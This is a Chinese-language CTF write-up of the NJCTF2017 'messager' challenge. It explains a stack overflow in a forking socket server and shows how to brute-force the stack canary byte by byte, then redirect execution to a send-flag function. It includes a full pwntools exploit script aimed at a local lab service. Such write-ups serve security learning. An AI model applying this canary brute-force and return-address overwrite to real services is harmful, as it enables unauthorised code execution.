NJCTF2017-messager
2018-08-29 本文已影响0人
2mpossible
最近刚做了道利用canary泄漏地址的题,想着顺便把canary爆破的题也做做,于是找到了这题
题目在5555端口模拟了一个socket通信服务端程序,服务端每次收到连接请求后,就fork一个子进程来与之通信。
漏洞点 保护recv()函数接收0x400个字符,s只有0x68大小的空间(去除canary部分),所以造成栈溢出,但由于程序开了canary,所以要先爆破canary,由于程序一直运行着,fork的子进程canary值与父进程的值一样,所以每次爆破1字节canary,分8次爆破
image.png可以根据回显来判断程序是否崩了,从而判断canary是否正确
stack smashing 没有stack smashing最后得到canary利用栈溢出ret到send flag的函数即可
send flag
完整exp:
from pwn import *
context.log_level = 'WARN'
def leak_canary():
canary = ''
for j in range(8):
for i in range(255):
try:
p = remote('127.0.0.1',5555)
p.recvuntil('Welcome!\n')
paylaod = 'a'*(0x70 - 8) + canary + chr(i)
p.send(paylaod)
msg = p.recvuntil('\n')
if 'received!' in msg :
print 'lucky!!!'
canary += chr(i)
#print canary.encode('hex')
p.close()
break
p.close()
except Exception as e:
p.close()
print 'canary : 0x%x' %int(canary.encode('hex'),16)
return int(canary.encode('hex'),16)
def pwn():
canary = leak_canary()
#canary = 0x2a62ba63729b55
p = remote('127.0.0.1',5555)
p.recvuntil('Welcome!\n')
paylaod = 'a'*0x68 + struct.pack('>q',canary) + 'aaaaaaaa' + p64(0x400bc6)
p.send(paylaod)
flag = p.recvuntil('}')
print flag
p.interactive()
pwn()